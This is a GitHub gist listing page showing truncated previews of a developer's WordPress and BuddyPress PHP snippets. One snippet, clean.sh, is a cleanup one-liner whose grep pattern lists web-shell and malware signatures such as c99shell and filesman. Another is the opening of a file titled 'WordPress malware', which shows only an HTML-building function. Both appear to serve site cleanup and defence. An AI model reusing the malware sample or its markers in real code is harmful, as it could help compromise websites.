Skip to content

Instantly share code, notes, and snippets.

View vladimirlukyanov's full-sized avatar
🗯️
It's during our darkest moments that we must focus to see the light

Vladimir Lukyanov vladimirlukyanov

🗯️
It's during our darkest moments that we must focus to see the light
View GitHub Profile
@vladimirlukyanov
vladimirlukyanov / search_by_sku.php
Created November 1, 2016 03:01
WordPress WooCommerce search by SKU
<?php
/**
* Add sku, author, publisher and format to product search
*/
// hook into wp pre_get_posts
add_action('pre_get_posts', 'woo_search_pre_get_posts');
/**
* Add custom join and where statements to product search query
@vladimirlukyanov
vladimirlukyanov / shortcode_method_4.php
Created October 23, 2016 01:28
Shortcode style enqueue #4
<?php
function custom_shortcode_scripts() {
global $post;
if( is_a( $post, 'WP_Post' ) && has_shortcode( $post->post_content, 'myshortcode') ) {
wp_enqueue_script( 'my-script');
}
}
add_action( 'wp_enqueue_scripts', 'custom_shortcode_scripts');
@vladimirlukyanov
vladimirlukyanov / shortcode_method_3.php
Created October 23, 2016 01:27
Shortcode style enqueue #3
<?php
function your_prefix_detect_shortcode() {
global $wp_query;
$posts = $wp_query->posts;
$pattern = get_shortcode_regex();
foreach ($posts as $post){
if ( preg_match_all( '/'. $pattern .'/s', $post->post_content, $matches )
&& array_key_exists( 2, $matches )
@vladimirlukyanov
vladimirlukyanov / shortcode_method_2.php
Created October 23, 2016 01:26
Shortcode style enqueue #2
<?php
class My_Shortcode {
static $add_script;
static function init() {
add_shortcode('myshortcode', array(__CLASS__, 'handle_shortcode'));
add_action('init', array(__CLASS__, 'register_script'));
add_action('wp_footer', array(__CLASS__, 'print_script'));
}
static function handle_shortcode($atts) {
@vladimirlukyanov
vladimirlukyanov / shortcode_method_1.php
Created October 23, 2016 01:25
Shortcode style enqueue #1
<?php
class My_Shortcode {
function handle_shortcode( $atts, $content="" ) {
/* simply enqueue or print the scripts/styles in the shortcode itself */
?>
<style type="text/css">
</style>
<?php
@vladimirlukyanov
vladimirlukyanov / clean.sh
Created September 26, 2016 17:01
Clear WordPress hacked dir
find ~/public_html -type f -iname "*.php" ! -iname "importbuddy.php" ! -iname "_repairbuddy.php" ! -iname "class-smtp.php" ! -iname "Excel5.php" ! -iname "OLERead.php"| xargs -i egrep -Hli '\@\$GLOBALS.*continue|GLOBALS.*x61|FbU73jxn|edE0lF|IGlmICgg|"1.sh"|GLOBALS.*ieetj84|rBOxlFeDa|rWmpisiBWQ|na20571|eval.*q272748|GET.*ineedthispage|x77.x69.x76|rWmyiJg3T|hacked\ by|eNqdWPtv|vd56b6998|filesman|Googleman|YYKJKaSZ.*\$_POST.*ppeRDsIfDuUi|5ebfbb39|c99shell|bar\/index|client.*x05.x01|POST.*do.*brut|img.*empty.*referrer|AtOPvMzpDq|5UpbRhpW|Qb08tTv2|ko0l|eval.stripslashes.array_pop\(\$_POST|www.*_POST.*yt.*ad.e|QGluaV9|doctoregpg|AnonGhost|AJVkA2M4om|an9dcW1i|PCT4BA6OD|aXNfdXBsb|zZ3HjuNg|E7DsuED2|DarkCrewFriends|zaprosname|HZBL02N|edoced|ZXZhbChiY|7X17f9rG' "{}"
@vladimirlukyanov
vladimirlukyanov / Malware2_wordpress.php
Last active September 20, 2016 23:34
WordPress malware
<?php
function html($data)
{
$html=implode("\r\n",array("%1html%3","%1head%3",head(),"%2head%3","%1body%3%sign%",body($data),"%2body%3","%2html%3"));
$html=preg_replace('/%1/',"<",$html);$html=preg_replace('/%2/',"</",$html);$html=preg_replace('/%3/',">",$html);
$sign=parag(1,1).(strlen($html)+31331);$html=preg_replace('/%sign%/',$sign,$html);
return $html;
}
function body($data)
{
@vladimirlukyanov
vladimirlukyanov / extract_values_from_shortcode_wordpress.php
Last active September 1, 2016 21:09
Extract values from shortcode WordPress
<?php
$shortcode = '[gallery id="123"]' // Sample shortcode
preg_match_all( '/' . get_shortcode_regex() . '/s', $shortcode, $matches ); //
$out = array();
if ( isset( $matches[2] ) ) {
foreach ( (array) $matches[2] as $key => $value ) {
if ( 'av_product_small_info' === $value ) { // Shortcode name
$out = shortcode_parse_atts( $matches[3][ $key ] );
}
@vladimirlukyanov
vladimirlukyanov / previous_next_posts_for_single_post.php
Created July 23, 2016 14:11
Previous, next posts for single post
<?php
global $post;
$post_id = $post->ID; // current post ID
$cat = get_the_category();
$current_cat_id = $cat[0]->cat_ID; // current category ID
$args = array(
'category' => $current_cat_id,
'orderby' => 'post_date',
'order' => 'DESC'
@vladimirlukyanov
vladimirlukyanov / BuddyPress_navigation_names_change.php
Created July 1, 2016 10:40
Changing navigation names of BuddyPress
<?php
function mb_profile_menu_tabs() {
global $bp;
$bp->bp_nav['groups']['name'] = str_replace( 'Groups', '群', $bp->bp_nav['groups']['name'] );
$bp->bp_nav['friends']['name'] = str_replace( 'Friends', '好友', $bp->bp_nav['friends']['name'] );
$bp->bp_nav['messages']['name'] = str_replace( 'Messages', '信息', $bp->bp_nav['messages']['name'] );
$bp->bp_nav['notifications']['name'] = str_replace( 'Notifications', '通知', $bp->bp_nav['notifications']['name'] );
$bp->bp_nav['forums']['name'] = '论坛';
}